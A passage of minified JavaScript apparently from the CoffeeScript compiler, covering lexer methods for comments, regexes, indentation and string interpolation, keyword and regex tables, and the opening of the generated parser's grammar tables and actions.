this.mergeInterpolationTokens(y,{delimiter:n},function(t){return function(n,r){return n=t.formatString(n),n=n.replace(z,function(t,i){return 0===r&&0===i||r===e&&i+t.length===n.length?\"\":\" \"})}}(this));return i},e.prototype.commentToken=function(){var e,t,n;return(n=this.chunk.match(a))?(e=n[0],t=n[1],t&&((n=c.exec(e))&&this.error(\"block comments cannot contain \"+n[0],{offset:n.index,length:n[0].length}),t.indexOf(\"\\n\")>=0&&(t=t.replace(RegExp(\"\\\\n\"+at(\" \",this.indent),\"g\"),\"\\n\")),this.token(\"HERECOMMENT\",t,0,e.length)),e.length):0},e.prototype.jsToken=function(){var e,t;return\"`\"===this.chunk.charAt(0)&&(e=S.exec(this.chunk))?(this.token(\"JS\",(t=e[0]).slice(1,-1),0,t.length),t.length):0},e.prototype.regexToken=function(){var e,t,n,i,s,o,u,a,f,l,c,h,p;switch(!1){case!(o=F.exec(this.chunk)):this.error(\"regular expressions cannot begin with \"+o[2],{offset:o.index+o[1].length});break;case!(o=this.matchWithInterpolations(v,\"///\")):p=o.tokens,s=o.index;break;case!(o=B.exec(this.chunk)):if(h=o[0],e=o[1],t=o[2],this.validateEscapes(e,{isRegex:!0,offsetInChunk:1}),s=h.length,f=this.tokens,a=f[f.length-1],a)if(a.spaced&&(l=a[0],ct.call(r,l)>=0)){if(!t||H.test(h))return 0}else if(c=a[0],ct.call(_,c)>=0)return 0;t||this.error(\"missing / (unclosed regex)\");break;default:return 0}switch(i=j.exec(this.chunk.slice(s))[0],n=s+i.length,u=this.makeToken(\"REGEX\",null,0,n),!1){case!!Z.test(i):this.error(\"invalid regular expression flags \"+i,{offset:s,length:i.length});break;case!h&&1!==p.length:null==e&&(e=this.formatHeregex(p[0][1])),this.token(\"REGEX\",\"\"+this.makeDelimitedLiteral(e,{delimiter:\"/\"})+i,0,n,u);break;default:this.token(\"REGEX_START\",\"(\",0,0,u),this.token(\"IDENTIFIER\",\"RegExp\",0,0),this.token(\"CALL_START\",\"(\",0,0),this.mergeInterpolationTokens(p,{delimiter:'\"',\"double\":!0},this.formatHeregex),i&&(this.token(\",\",\",\",s,0),this.token(\"STRING\",'\"'+i+'\"',s,i.length)),this.token(\")\",\")\",n,0),this.token(\"REGEX_END\",\")\",n,0)}return n},e.prototype.lineToken=function(){var e,t,n,r,i;if(!(n=M.exec(this.chunk)))return 0;if(t=n[0],this.seenFor=!1,i=t.length-1-t.lastIndexOf(\"\\n\"),r=this.unfinished(),i-this.indebt===this.indent)return r?this.suppressNewlines():this.newlineToken(0),t.length;if(i>this.indent){if(r)return this.indebt=i-this.indent,this.suppressNewlines(),t.length;if(!this.tokens.length)return this.baseIndent=this.indent=i,t.length;e=i-this.indent+this.outdebt,this.token(\"INDENT\",e,t.length-i,i),this.indents.push(e),this.ends.push({tag:\"OUTDENT\"}),this.outdebt=this.indebt=0,this.indent=i}else this.baseIndent>i?this.error(\"missing indentation\",{offset:t.length}):(this.indebt=0,this.outdentToken(this.indent-i,r,t.length));return t.length},e.prototype.outdentToken=function(e,t,n){var r,i,s,o;for(r=this.indent-e;e>0;)s=this.indents[this.indents.length-1],s?s===this.outdebt?(e-=this.outdebt,this.outdebt=0):this.outdebt>s?(this.outdebt-=s,e-=s):(i=this.indents.pop()+this.outdebt,n&&(o=this.chunk[n],ct.call(y,o)>=0)&&(r-=i-e,e=i),this.outdebt=0,this.pair(\"OUTDENT\"),this.token(\"OUTDENT\",e,0,n),e-=i):e=0;for(i&&(this.outdebt-=e);\";\"===this.value();)this.tokens.pop();return\"TERMINATOR\"===this.tag()||t||this.token(\"TERMINATOR\",\"\\n\",n,0),this.indent=r,this},e.prototype.whitespaceToken=function(){var e,t,n,r;return(e=et.exec(this.chunk))||(t=\"\\n\"===this.chunk.charAt(0))?(r=this.tokens,n=r[r.length-1],n&&(n[e?\"spaced\":\"newLine\"]=!0),e?e[0].length:0):0},e.prototype.newlineToken=function(e){for(;\";\"===this.value();)this.tokens.pop();return\"TERMINATOR\"!==this.tag()&&this.token(\"TERMINATOR\",\"\\n\",e,0),this},e.prototype.suppressNewlines=function(){return\"\\\\\"===this.value()&&this.tokens.pop(),this},e.prototype.literalToken=function(){var e,t,n,s,o,u,a,c,h,p;if((e=P.exec(this.chunk))?(p=e[0],i.test(p)&&this.tagParameters()):p=this.chunk.charAt(0),c=p,n=this.tokens,t=n[n.length-1],\"=\"===p&&t&&(!t[1].reserved&&(s=t[1],ct.call(x,s)>=0)&&(t.origin&&(t=t.origin),this.error(\"reserved word '\"+t[1]+\"' can't be assigned\",t[2])),\"||\"===(o=t[1])||\"&&\"===o))return t[0]=\"COMPOUND_ASSIGN\",t[1]+=\"=\",p.length;if(\";\"===p)this.seenFor=!1,c=\"TERMINATOR\";else if(ct.call(O,p)>=0)c=\"MATH\";else if(ct.call(f,p)>=0)c=\"COMPARE\";else if(ct.call(l,p)>=0)c=\"COMPOUND_ASSIGN\";else if(ct.call(G,p)>=0)c=\"UNARY\";else if(ct.call(Y,p)>=0)c=\"UNARY_MATH\";else if(ct.call(U,p)>=0)c=\"SHIFT\";else if(ct.call(L,p)>=0||\"?\"===p&&(null!=t?t.spaced:void 0))c=\"LOGIC\";else if(t&&!t.spaced)if(\"(\"===p&&(u=t[0],ct.call(r,u)>=0))\"?\"===t[0]&&(t[0]=\"FUNC_EXIST\"),c=\"CALL_START\";else if(\"[\"===p&&(a=t[0],ct.call(b,a)>=0))switch(c=\"INDEX_START\",t[0]){case\"?\":t[0]=\"INDEX_SOAK\"}switch(h=this.makeToken(c,p),p){case\"(\":case\"{\":case\"[\":this.ends.push({tag:E[p],origin:h});break;case\")\":case\"}\":case\"]\":this.pair(p)}return this.tokens.push(h),p.length},e.prototype.tagParameters=function(){var e,t,n,r;if(\")\"!==this.tag())return this;for(t=[],r=this.tokens,e=r.length,r[--e][0]=\"PARAM_END\";n=r[--e];)switch(n[0]){case\")\":t.push(n);break;case\"(\":case\"CALL_START\":if(!t.length)return\"(\"===n[0]?(n[0]=\"PARAM_START\",this):this;t.pop()}return this},e.prototype.closeIndentation=function(){return this.outdentToken(this.indent)},e.prototype.matchWithInterpolations=function(t,n){var r,i,s,o,u,a,f,l,c,h,p,d,v,m,g;if(g=[],l=n.length,this.chunk.slice(0,l)!==n)return null;for(v=this.chunk.slice(l);;){if(m=t.exec(v)[0],this.validateEscapes(m,{isRegex:\"/\"===n.charAt(0),offsetInChunk:l}),g.push(this.makeToken(\"NEOSTRING\",m,l)),v=v.slice(m.length),l+=m.length,\"#{\"!==v.slice(0,2))break;h=this.getLineAndColumnFromChunk(l+1),a=h[0],i=h[1],p=(new e).tokenize(v.slice(1),{line:a,column:i,untilBalanced:!0}),f=p.tokens,o=p.index,o+=1,c=f[0],r=f[f.length-1],c[0]=c[1]=\"(\",r[0]=r[1]=\")\",r.origin=[\"\",\"end of interpolation\",r[2]],\"TERMINATOR\"===(null!=(d=f[1])?d[0]:void 0)&&f.splice(1,1),g.push([\"TOKENS\",f]),v=v.slice(o),l+=o}return v.slice(0,n.length)!==n&&this.error(\"missing \"+n,{length:n.length}),s=g[0],u=g[g.length-1],s[2].first_column-=n.length,u[2].last_column+=n.length,0===u[1].length&&(u[2].last_column-=1),{tokens:g,index:l+n.length}},e.prototype.mergeInterpolationTokens=function(e,t,n){var r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y;for(e.length>1&&(c=this.token(\"STRING_START\",\"(\",0,0)),s=this.tokens.length,o=u=0,f=e.length;f>u;o=++u){switch(m=e[o],v=m[0],y=m[1],v){case\"TOKENS\":if(2===y.length)continue;l=y[0],g=y;break;case\"NEOSTRING\":if(r=n(m[1],o),0===r.length){if(0!==o)continue;i=this.tokens.length}2===o&&null!=i&&this.tokens.splice(i,2),m[0]=\"STRING\",m[1]=this.makeDelimitedLiteral(r,t),l=m,g=[m]}this.tokens.length>s&&(h=this.token(\"+\",\"+\"),h[2]={first_line:l[2].first_line,first_column:l[2].first_column,last_line:l[2].first_line,last_column:l[2].first_column}),(p=this.tokens).push.apply(p,g)}return c?(a=e[e.length-1],c.origin=[\"STRING\",null,{first_line:c[2].first_line,first_column:c[2].first_column,last_line:a[2].last_line,last_column:a[2].last_column}],d=this.token(\"STRING_END\",\")\"),d[2]={first_line:a[2].last_line,first_column:a[2].last_column,last_line:a[2].last_line,last_column:a[2].last_column}):void 0},e.prototype.pair=function(e){var t,n,r,i,s;return r=this.ends,n=r[r.length-1],e!==(s=null!=n?n.tag:void 0)?(\"OUTDENT\"!==s&&this.error(\"unmatched \"+e),i=this.indents,t=i[i.length-1],this.outdentToken(t,!0),this.pair(e)):this.ends.pop()},e.prototype.getLineAndColumnFromChunk=function(e){var t,n,r,i,s;return 0===e?[this.chunkLine,this.chunkColumn]:(s=e>=this.chunk.length?this.chunk:this.chunk.slice(0,+(e-1)+1||9e9),r=nt(s,\"\\n\"),t=this.chunkColumn,r>0?(i=s.split(\"\\n\"),n=i[i.length-1],t=n.length):t+=s.length,[this.chunkLine+r,t])},e.prototype.makeToken=function(e,t,n,r){var i,s,o,u,a;return null==n&&(n=0),null==r&&(r=t.length),s={},o=this.getLineAndColumnFromChunk(n),s.first_line=o[0],s.first_column=o[1],i=Math.max(0,r-1),u=this.getLineAndColumnFromChunk(n+i),s.last_line=u[0],s.last_column=u[1],a=[e,t,s]},e.prototype.token=function(e,t,n,r,i){var s;return s=this.makeToken(e,t,n,r),i&&(s.origin=i),this.tokens.push(s),s},e.prototype.tag=function(){var e,t;return e=this.tokens,t=e[e.length-1],null!=t?t[0]:void 0},e.prototype.value=function(){var e,t;return e=this.tokens,t=e[e.length-1],null!=t?t[1]:void 0},e.prototype.unfinished=function(){var e;return k.test(this.chunk)||\"\\\\\"===(e=this.tag())||\".\"===e||\"?.\"===e||\"?::\"===e||\"UNARY\"===e||\"MATH\"===e||\"UNARY_MATH\"===e||\"+\"===e||\"-\"===e||\"YIELD\"===e||\"**\"===e||\"SHIFT\"===e||\"RELATION\"===e||\"COMPARE\"===e||\"LOGIC\"===e||\"THROW\"===e||\"EXTENDS\"===e},e.prototype.formatString=function(e){return e.replace(V,\"$1\")},e.prototype.formatHeregex=function(e){return e.replace(m,\"$1$2\")},e.prototype.validateEscapes=function(e,t){var n,r,i,s,o,u,a,f;return null==t&&(t={}),s=w.exec(e),!s||(s[0],n=s[1],u=s[2],r=s[3],f=s[4],t.isRegex&&u&&\"0\"!==u.charAt(0))?void 0:(o=u?\"octal escape sequences are not allowed\":\"invalid escape sequence\",i=\"\\\\\"+(u||r||f),this.error(o+\" \"+i,{offset:(null!=(a=t.offsetInChunk)?a:0)+s.index+n.length,length:i.length}))},e.prototype.makeDelimitedLiteral=function(e,t){var n;return null==t&&(t={}),\"\"===e&&\"/\"===t.delimiter&&(e=\"(?:)\"),n=RegExp(\"(\\\\\\\\\\\\\\\\)|(\\\\\\\\0(?=[1-7]))|\\\\\\\\?(\"+t.delimiter+\")|\\\\\\\\?(?:(\\\\n)|(\\\\r)|(\\\\u2028)|(\\\\u2029))|(\\\\\\\\.)\",\"g\"),e=e.replace(n,function(e,n,r,i,s,o,u,a,f){switch(!1){case!n:return t.double?n+n:n;case!r:return\"\\\\x00\";case!i:return\"\\\\\"+i;case!s:return\"\\\\n\";case!o:return\"\\\\r\";case!u:return\"\\\\u2028\";case!a:return\"\\\\u2029\";case!f:return t.double?\"\\\\\"+f:f}}),\"\"+t.delimiter+e+t.delimiter},e.prototype.error=function(e,t){var n,r,i,s,o,u;return null==t&&(t={}),i=\"first_line\"in t?t:(o=this.getLineAndColumnFromChunk(null!=(s=t.offset)?s:0),r=o[0],n=o[1],o,{first_line:r,first_column:n,last_column:n+(null!=(u=t.length)?u:1)-1}),lt(e,i)},e}(),T=[\"true\",\"false\",\"null\",\"this\",\"new\",\"delete\",\"typeof\",\"in\",\"instanceof\",\"return\",\"throw\",\"break\",\"continue\",\"debugger\",\"yield\",\"if\",\"else\",\"switch\",\"for\",\"while\",\"do\",\"try\",\"catch\",\"finally\",\"class\",\"extends\",\"super\"],u=[\"undefined\",\"then\",\"unless\",\"until\",\"loop\",\"of\",\"by\",\"when\"],o={and:\"&&\",or:\"||\",is:\"==\",isnt:\"!=\",not:\"!\",yes:\"true\",no:\"false\",on:\"true\",off:\"false\"},s=function(){var e;e=[];for(it in o)e.push(it);return e}(),u=u.concat(s),q=[\"case\",\"default\",\"function\",\"var\",\"void\",\"with\",\"const\",\"let\",\"enum\",\"export\",\"import\",\"native\",\"implements\",\"interface\",\"package\",\"private\",\"protected\",\"public\",\"static\"],W=[\"arguments\",\"eval\",\"yield*\"],x=T.concat(q).concat(W),e.RESERVED=q.concat(T).concat(u).concat(W),e.STRICT_PROSCRIBED=W,t=65279,g=/^(?!\\d)((?:(?!\\s)[$\\w\\x7f-\\uffff])+)([^\\n\\S]*:(?!:))?/,D=/^0b[01]+|^0o[0-7]+|^0x[\\da-f]+|^\\d*\\.?\\d+(?:e[+-]?\\d+)?/i,P=/^(?:[-=]>|[-+*\\/%<>&|^!?=]=|>>>=?|([-+:])\\1|([&|<>*\\/%])\\2=?|\\?(\\.|::)|\\.{2,3})/,et=/^[^\\n\\S]+/,a=/^###([^#][\\s\\S]*?)(?:###[^\\n\\S]*|###$)|^(?:\\s*#(?!##[^#]).*)+/,i=/^[-=]>/,M=/^(?:\\n[^\\n\\S]*)+/,S=/^`[^\\\\`]*(?:\\\\.[^\\\\`]*)*`/,J=/^(?:'''|\"\"\"|'|\")/,$=/^(?:[^\\\\']|\\\\[\\s\\S])*/,X=/^(?:[^\\\\\"#]|\\\\[\\s\\S]|\\#(?!\\{))*/,d=/^(?:[^\\\\']|\\\\[\\s\\S]|'(?!''))*/,h=/^(?:[^\\\\\"#]|\\\\[\\s\\S]|\"(?!\"\")|\\#(?!\\{))*/,V=/((?:\\\\\\\\)+)|\\\\[^\\S\\n]*\\n\\s*/g,z=/\\s*\\n\\s*/g,p=/\\n+([^\\n\\S]*)(?=\\S)/g,B=/^\\/(?!\\/)((?:[^[\\/\\n\\\\]|\\\\[^\\n]|\\[(?:\\\\[^\\n]|[^\\]\\n\\\\])*\\])*)(\\/)?/,j=/^\\w*/,Z=/^(?!.*(.).*\\1)[imgy]*$/,v=/^(?:[^\\\\\\/#]|\\\\[\\s\\S]|\\/(?!\\/\\/)|\\#(?!\\{))*/,m=/((?:\\\\\\\\)+)|\\\\(\\s)|\\s+(?:#.*)?/g,F=/^(\\/|\\/{3}\\s*)(\\*)/,H=/^\\/=?\\s/,c=/\\*\\//,k=/^\\s*(?:,|\\??\\.(?![.\\d])|::)/,w=/((?:^|[^\\\\])(?:\\\\\\\\)*)\\\\(?:(0[0-7]|[1-7])|(x(?![\\da-fA-F]{2}).{0,2})|(u(?![\\da-fA-F]{4}).{0,4}))/,N=/^[^\\n\\S]*\\n/,K=/\\n[^\\n\\S]*$/,Q=/\\s+$/,l=[\"-=\",\"+=\",\"/=\",\"*=\",\"%=\",\"||=\",\"&&=\",\"?=\",\"<<=\",\">>=\",\">>>=\",\"&=\",\"^=\",\"|=\",\"**=\",\"//=\",\"%%=\"],G=[\"NEW\",\"TYPEOF\",\"DELETE\",\"DO\"],Y=[\"!\",\"~\"],L=[\"&&\",\"||\",\"&\",\"|\",\"^\"],U=[\"<<\",\">>\",\">>>\"],f=[\"==\",\"!=\",\"<\",\">\",\"<=\",\">=\"],O=[\"*\",\"/\",\"%\",\"//\",\"%%\"],I=[\"IN\",\"OF\",\"INSTANCEOF\"],n=[\"TRUE\",\"FALSE\"],r=[\"IDENTIFIER\",\")\",\"]\",\"?\",\"@\",\"THIS\",\"SUPER\"],b=r.concat([\"NUMBER\",\"STRING\",\"STRING_END\",\"REGEX\",\"REGEX_END\",\"BOOL\",\"NULL\",\"UNDEFINED\",\"}\",\"::\"]),_=b.concat([\"++\",\"--\"]),C=[\"INDENT\",\"OUTDENT\",\"TERMINATOR\"],y=[\")\",\"}\",\"]\"]}.call(this),t.exports}(),_dereq_[\"./parser\"]=function(){var e={},t={exports:e},n=function(){function e(){this.yy={}}var t=function(e,t,n,r){for(n=n||{},r=e.length;r--;n[e[r]]=t);return n},n=[1,20],r=[1,75],i=[1,71],s=[1,76],o=[1,77],u=[1,73],a=[1,74],f=[1,50],l=[1,52],c=[1,53],h=[1,54],p=[1,55],d=[1,45],v=[1,46],m=[1,27],g=[1,60],y=[1,61],b=[1,70],w=[1,43],E=[1,26],S=[1,58],x=[1,59],T=[1,57],N=[1,38],C=[1,44],k=[1,56],L=[1,65],A=[1,66],O=[1,67],M=[1,68],_=[1,42],D=[1,64],P=[1,29],H=[1,30],B=[1,31],j=[1,32],F=[1,33],I=[1,34],q=[1,35],R=[1,78],U=[1,6,26,34,108],z=[1,88],W=[1,81],X=[1,80],V=[1,79],$=[1,82],J=[1,83],K=[1,84],Q=[1,85],G=[1,86],Y=[1,87],Z=[1,91],et=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],tt=[1,97],nt=[1,98],rt=[1,99],it=[1,100],st=[1,102],ot=[1,103],ut=[1,96],at=[2,112],ft=[1,6,25,26,34,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],lt=[2,79],ct=[1,108],ht=[2,58],pt=[1,112],dt=[1,117],vt=[1,118],mt=[1,120],gt=[1,6,25,26,34,46,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],yt=[2,76],bt=[1,6,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],wt=[1,155],Et=[1,157],St=[1,152],xt=[1,6,25,26,34,46,55,60,63,72,73,74,75,77,79,80,84,86,90,91,92,97,99,108,110,111,112,116,117,132,135,136,139,140,141,142,143,144,145,146,147,148],Tt=[2,95],Nt=[1,6,25,26,34,49,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],Ct=[1,6,25,26,34,46,49,55,60,63,72,73,74,75,77,79,80,84,86,90,91,92,97,99,108,110,111,112,116,117,123,124,132,135,136,139,140,141,142,143,144,145,146,147,148],kt=[1,206],Lt=[1,205],At=[1,6,25,26,34,38,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],Ot=[2,56],Mt=[1,216],_t=[6,25,26,55,60],Dt=[6,25,26,46,55,60,63],Pt=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,142,144,145,146,147],Ht=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132],Bt=[72,73,74,75,77,80,90,91],jt=[1,235],Ft=[2,133],It=[1,6,25,26,34,46,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,123,124,132,135,136,141,142,143,144,145,146,147],qt=[1,244],Rt=[6,25,26,60,92,97],Ut=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,117,132],zt=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,111,117,132],Wt=[123,124],Xt=[60,123,124],Vt=[1,255],$t=[6,25,26,60,84],Jt=[6,25,26,49,60,84],Kt=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,144,145,146,147],Qt=[11,28,30,32,33,36,37,40,41,42,43,44,51,52,53,57,58,79,82,85,89,94,95,96,102,106,107,110,112,114,116,125,131,133,134,135,136,137,139,140],Gt=[2,122],Yt=[6,25,26],Zt=[2,57],en=[1,268],tn=[1,269],nn=[1,6,25,26,34,55,60,63,79,84,92,97,99,104,105,108,110,111,112,116,117,127,129,132,135,136,141,142,143,144,145,146,147],rn=[26,127,129],sn=[1,6,26,34,55,60,63,79,84,92,97,99,108,111,117,132],on=[2,71],un=[1,291],an=[1,292],fn=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,127,132,135,136,141,142,143,144,145,146,147],ln=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,112,116,117,132],cn=[1,303],hn=[1,304],pn=[6,25,26,60],dn=[1,6,25,26,34,55,60,63,79,84,92,97,99,104,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],vn=[25,60],mn={trace:function(){},yy:{},symbols_:{error:2,Root:3,Body:4,Line:5,TERMINATOR:6,Expression:7,Statement:8,Return:9,Comment:10,STATEMENT:11,Value:12,Invocation:13,Code:14,Operation:15,Assign:16,If:17,Try:18,While:19,For:20,Switch:21,Class:22,Throw:23,Block:24,INDENT:25,OUTDENT:26,Identifier:27,IDENTIFIER:28,AlphaNumeric:29,NUMBER:30,String:31,STRING:32,STRING_START:33,STRING_END:34,Regex:35,REGEX:36,REGEX_START:37,REGEX_END:38,Literal:39,JS:40,DEBUGGER:41,UNDEFINED:42,NULL:43,BOOL:44,Assignable:45,\"=\":46,AssignObj:47,ObjAssignable:48,\":\":49,ThisProperty:50,RETURN:51,HERECOMMENT:52,PARAM_START:53,ParamList:54,PARAM_END:55,FuncGlyph:56,\"->\":57,\"=>\":58,OptComma:59,\",\":60,Param:61,ParamVar:62,\"...\":63,Array:64,Object:65,Splat:66,SimpleAssignable:67,Accessor:68,Parenthetical:69,Range:70,This:71,\".\":72,\"?.\":73,\"::\":74,\"?::\":75,Index:76,INDEX_START:77,IndexValue:78,INDEX_END:79,INDEX_SOAK:80,Slice:81,\"{\":82,AssignList:83,\"}\":84,CLASS:85,EXTENDS:86,OptFuncExist:87,Arguments:88,SUPER:89,FUNC_EXIST:90,CALL_START:91,CALL_END:92,ArgList:93,THIS:94,\"@\":95,\"[\":96,\"]\":97,RangeDots:98,\"..\":99,Arg:100,SimpleArgs:101,TRY:102,Catch:103,FINALLY:104,CATCH:105,THROW:106,\"(\":107,\")\":108,WhileSource:109,WHILE:110,WHEN:111,UNTIL:112,Loop:113,LOOP:114,ForBody:115,FOR:116,BY:117,ForStart:118,ForSource:119,ForVariables:120,OWN:121,ForValue:122,FORIN:123,FOROF:124,SWITCH:125,Whens:126,ELSE:127,When:128,LEADING_WHEN:129,IfBlock:130,IF:131,POST_IF:132,UNARY:133,UNARY_MATH:134,\"-\":135,\"+\":136,YIELD:137,FROM:138,\"--\":139,\"++\":140,\"?\":141,MATH:142,\"**\":143,SHIFT:144,COMPARE:145,LOGIC:146,RELATION:147,COMPOUND_ASSIGN:148,$accept:0,$end:1},terminals_:{2:\"error\",6:\"TERMINATOR\",11:\"STATEMENT\",25:\"INDENT\",26:\"OUTDENT\",28:\"IDENTIFIER\",30:\"NUMBER\",32:\"STRING\",33:\"STRING_START\",34:\"STRING_END\",36:\"REGEX\",37:\"REGEX_START\",38:\"REGEX_END\",40:\"JS\",41:\"DEBUGGER\",42:\"UNDEFINED\",43:\"NULL\",44:\"BOOL\",46:\"=\",49:\":\",51:\"RETURN\",52:\"HERECOMMENT\",53:\"PARAM_START\",55:\"PARAM_END\",57:\"->\",58:\"=>\",60:\",\",63:\"...\",72:\".\",73:\"?.\",74:\"::\",75:\"?::\",77:\"INDEX_START\",79:\"INDEX_END\",80:\"INDEX_SOAK\",82:\"{\",84:\"}\",85:\"CLASS\",86:\"EXTENDS\",89:\"SUPER\",90:\"FUNC_EXIST\",91:\"CALL_START\",92:\"CALL_END\",94:\"THIS\",95:\"@\",96:\"[\",97:\"]\",99:\"..\",102:\"TRY\",104:\"FINALLY\",105:\"CATCH\",106:\"THROW\",107:\"(\",108:\")\",110:\"WHILE\",111:\"WHEN\",112:\"UNTIL\",114:\"LOOP\",116:\"FOR\",117:\"BY\",121:\"OWN\",123:\"FORIN\",124:\"FOROF\",125:\"SWITCH\",127:\"ELSE\",129:\"LEADING_WHEN\",131:\"IF\",132:\"POST_IF\",133:\"UNARY\",134:\"UNARY_MATH\",135:\"-\",136:\"+\",137:\"YIELD\",138:\"FROM\",139:\"--\",140:\"++\",141:\"?\",142:\"MATH\",143:\"**\",144:\"SHIFT\",145:\"COMPARE\",146:\"LOGIC\",147:\"RELATION\",148:\"COMPOUND_ASSIGN\"},productions_:[0,[3,0],[3,1],[4,1],[4,3],[4,2],[5,1],[5,1],[8,1],[8,1],[8,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[7,1],[24,2],[24,3],[27,1],[29,1],[29,1],[31,1],[31,3],[35,1],[35,3],[39,1],[39,1],[39,1],[39,1],[39,1],[39,1],[39,1],[16,3],[16,4],[16,5],[47,1],[47,3],[47,5],[47,1],[48,1],[48,1],[48,1],[9,2],[9,1],[10,1],[14,5],[14,2],[56,1],[56,1],[59,0],[59,1],[54,0],[54,1],[54,3],[54,4],[54,6],[61,1],[61,2],[61,3],[61,1],[62,1],[62,1],[62,1],[62,1],[66,2],[67,1],[67,2],[67,2],[67,1],[45,1],[45,1],[45,1],[12,1],[12,1],[12,1],[12,1],[12,1],[68,2],[68,2],[68,2],[68,2],[68,1],[68,1],[76,3],[76,2],[78,1],[78,1],[65,4],[83,0],[83,1],[83,3],[83,4],[83,6],[22,1],[22,2],[22,3],[22,4],[22,2],[22,3],[22,4],[22,5],[13,3],[13,3],[13,1],[13,2],[87,0],[87,1],[88,2],[88,4],[71,1],[71,1],[50,2],[64,2],[64,4],[98,1],[98,1],[70,5],[81,3],[81,2],[81,2],[81,1],[93,1],[93,3],[93,4],[93,4],[93,6],[100,1],[100,1],[100,1],[101,1],[101,3],[18,2],[18,3],[18,4],[18,5],[103,3],[103,3],[103,2],[23,2],[69,3],[69,5],[109,2],[109,4],[109,2],[109,4],[19,2],[19,2],[19,2],[19,1],[113,2],[113,2],[20,2],[20,2],[20,2],[115,2],[115,4],[115,2],[118,2],[118,3],[122,1],[122,1],[122,1],[122,1],[120,1],[120,3],[119,2],[119,2],[119,4],[119,4],[119,4],[119,6],[119,6],[21,5],[21,7],[21,4],[21,6],[126,1],[126,2],[128,3],[128,4],[130,3],[130,5],[17,1],[17,3],[17,3],[17,3],[15,2],[15,2],[15,2],[15,2],[15,2],[15,2],[15,3],[15,2],[15,2],[15,2],[15,2],[15,2],[15,3],[15,3],[15,3],[15,3],[15,3],[15,3],[15,3],[15,3],[15,3],[15,5],[15,4],[15,3]],performAction:function(e,t,n,r,i,s,o){var u=s.length-1;switch(i){case 1:return this.$=r.addLocationDataFn(o[u],o[u])(new r.Block);case 2:return this.$=s[u];case 3:this.$=r.addLocationDataFn(o[u],o[u])(r.Block.wrap([s[u]]));break;case 4:this.$=r.addLocationDataFn(o[u-2],o[u])(s[u-2].push(s[u]));break;case 5:this.$=s[u-1];break;case 6:case 7:case 8:case 9:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 27:case 32:case 34:case 45:case 46:case 47:case 48:case 56:case 57:case 67:case 68:case 69:case 70:case 75:case 76:case 79:case 83:case 89:case 133:case 134:case 136:case 166:case 167:case 183:case 189:this.$=s[u];break;case 10:case 25:case 26:case 28:case 30:case 33:case 35:this.$=r.addLocationDataFn(o[u],o[u])(new r.Literal(s[u]));break;case 23:this.$=r.addLocationDataFn(o[u-1],o[u])(new r.Block);break;case 24:case 31:case 90:this.$=r.addLocationDataFn(o[u-2],o[u])(s[u-1]);break;case 29:case 146:this.$=r.addLocationDataFn(o[u-2],o[u])(new r.Parens(s[u-1]));break;case 36:this.$=r.addLocationDataFn(o[u],o[u])(new r.Undefined);break;case 37:this.$=r.addLocationDataFn(o[u],o[u])(new r.Null);break;case 38:this.$=r.addLocationDataFn(o[u],o[u])(new r.Bool(s[u]));break;case 39:this.$=r.addLocationDataFn(o[u-2],o[u])(new r.Assign(s[u-2],s[u]));break;case 40:this.$=r.addLocationDataFn(o[u-3],o[u])(new r.Assign(s[u-3],s[u]));break;case 41:this.$=r.addLocationDataFn(o[u-4],o[u])(new r.Assign(s[u-4],s[u-1]));break;case 42:case 72:case 77:case 78:case 80:case 81:case 82:case 168:case 169:this.$=r.addLocationDataFn(o[u],o[u])(new r.Value(s[u]));break;case 43:this.$=r.addLocationDataFn(o[u-2],o[u])(new r.Assign(r.addLocationDataFn(o[u-2])(new r.Value(s[u-2])),s[u],\"object\"));break;case 44:this.$=r.addLocationDataFn(o[u-4],o[u])(new r.Assign(r.addLocationDataFn(o[u-4])(new r.Value(s[u-4])),s[u-1],\"object\"));break;case 49:this.$=r.addLocationDataFn(o[u-1],o[u])(new r.Return(s[u]));break;case 50:this.$=r.addLocationDataFn(o[u],o[u])(new r.Return);break;case 51:this.$=r.addLocationDataFn(o[u],o[u])(new r.Comment(s[u]));break;case 52:this.$=r.addLocationDataFn(o[u-4],o[u])(new r.Code(s[u-3],s[u],s[u-1]));break;case 53:this.$=r.addLocationDataFn(o[u-1],o[u])(new r.Code([],s[u],s[u-1]));break;case 54:this.$=r.addLocationDataFn(o[u],o[u])(\"func\");break;case 55:this.$=r.addLocationDataFn(o[u],o[u])(\"boundfunc\");break;case 58:case 95:this.$=r.addLocationDataFn(o[u],o[u])([]);break;case 59:case 96:case 128:case 170:this.$=r.addLocationDataFn(o[u],o[u])([s[u]]);break;case 60:case 97:case 129:this.$=r.addLocationDataFn(o[u-2],o[u])(s[u-2].concat(s[u]));break;case 61:case 98:case 130:this.$=r.addLocationDataFn(o[u-3],o[u])(s[u-3].concat(s[u]));break;case 62:case 99:case 132:this.$=r.addLocationDataFn(o[u-5],o[u])(s[u-5].concat(s[u-2]));break;case 63:this.$=r.addLocationDataFn(o[u],o[u])(new r.Param(s[u]));break;case 64:this.$=r.addLocationDataFn(o[u-1],o[u])(new r.Param(s[u-1],null,!0));break;case 